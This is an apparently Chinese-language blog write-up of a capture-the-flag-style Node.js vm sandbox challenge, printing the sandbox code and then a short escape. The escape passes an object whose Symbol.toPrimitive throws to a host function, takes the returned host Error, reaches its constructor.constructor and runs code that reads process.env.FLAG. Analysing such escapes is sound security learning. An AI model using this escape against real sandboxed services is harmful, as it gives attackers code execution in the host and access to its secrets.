记JS的小Trick
YMsora
YMsora
YMs0ra的安全漫路
2026年11月5日 20:41
上海
去阅读
以下是一个js vm的沙箱
\"use strict\";
const fs = require(\"node:fs\");
const vm = require(\"node:vm\");
const buffer = fs.readFileSync(0, \"utf8\");
process.env.FLAG = \"flag{dfdfd}\";
function normalizeString(val) {
if (typeof val !== \"string\") return \"\";
return val.trim().toLowerCase();
}
function parseHexSequence(seq) {
const clean = normalizeString(seq);
if (!/^[0-9a-f]*$/.test(clean)) return null;
return parseInt(clean, 16);
}
function validateSchema(target) {
if (!target || typeof target !== \"object\") return true;
const keys = Object.keys(target);
for (let i = 0; i < keys.length; i++) {
const k = keys[i];
if (k.startsWith(\"__\") || k === \"prototype\" || k === \"constructor\") {
return false;
}
}
return true;
}
function computeMetrics(data) {
if (!validateSchema(data)) {
return -1;
}
try {
return Number(data);
} catch {
return new Error(\"Operation failed\");
}
}
function calculateOffset(val, step) {
const base = computeMetrics(val);
if (typeof base !== \"number\" || Number.isNaN(base)) return 0;
return base + (Number(step) || 0);
}
const sandbox = Object.create(null);
const ctx = vm.createContext(sandbox, {
name: \"runtime-eval\",
codeGeneration: {
strings: false,
wasm: false
}
});
function exportSecureInterface(target, apis) {
for (const [name, fn] of Object.entries(apis)) {
Object.setPrototypeOf(fn, null);
Object.freeze(fn);
target[name] = fn;
}
}
exportSecureInterface(sandbox, {
calc: calculateOffset,
convert: computeMetrics,
parseHex: parseHexSequence
});
vm.runInContext(`
(function resetPrototypes() {
const targets = [Object, Function, Array];
for (const T of targets) {
const names = Object.getOwnPropertyNames(T.prototype);
for (const name of names) {
if (name !== 'constructor') {
try { Reflect.deleteProperty(T.prototype, name); } catch (_) {}
}
}
}
})();
`, ctx);
try {
const out = vm.runInContext(buffer, ctx, { timeout: 1000 });
console.log(\"Result:\", out);
} catch {
console.log(\"Execution Error\");
}
在vm中运行js文件,normalizeString负责的是字符串解析和十六进制转换
并且防护主要在validateSchema函数,如果输入对象,
会返回所有属性的名字 并且检查是否有敏感内容,
Object.keys 返回可枚举的字符串点 在沙箱内部中,再次进行清理
vm.runInContext(`
(function resetPrototypes() {
const targets = [Object, Function, Array];
for (const T of targets) {
const names = Object.getOwnPropertyNames(T.prototype);
for (const name of names) {
if (name !== 'constructor') {
try { Reflect.deleteProperty(T.prototype, name); } catch (_) {}
}
}
}
})();
`, ctx);
并且还将内部原型以及禁用函数对象
也就是说我们基本不可能拿到函数对象了,
原型链污染被堵死 但是ES6中引入了symbol,并且注意到
function computeMetrics(data) {
if (!validateSchema(data)) {
return -1;
}
try {
return Number(data);
} catch {
return new Error(\"Operation failed\");
}
}
function calculateOffset(val, step) {
const base = computeMetrics(val);
if (typeof base !== \"number\" || Number.isNaN(base)) return 0;
return base + (Number(step) || 0);
}
catch的是宿主的error,也就是说如果在内部throw出error时宿主部会catch, 那样可以顺藤摸瓜拿到宿主的function 看看具体构造 convert: computeMetrics,
const trojan = {
[Symbol.toPrimitive]() {
throw 1;
}
};
这个方法会在number方法时优先触发
const hostError = convert(trojan);
catch了error后是在宿主一侧return new Error(\"Operation failed\"); 拿到原ERROR对象后就方便了,继续两步构造完成
const HostFunction = hostError.constructor.constructor;
HostFunction(\"return process.env.FLAG\")();
后记,ES6中引入了 symbol,允许对象的键名不再是字符串,
而是一种唯一的特殊标记。
规范制定者还定义了一批Well-Known Symbols,
其中一个是Symbol.toPrimitive。 规范明文规定:
只要对象上有 [Symbol.toPrimitive],它的优先级最高,
引擎在做隐式转换时必须优先调用它,
忽略旧时代的 valueOf 和 toString
也是学习过程中涉及到的一些小点,
总觉着想写一些出来吧
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论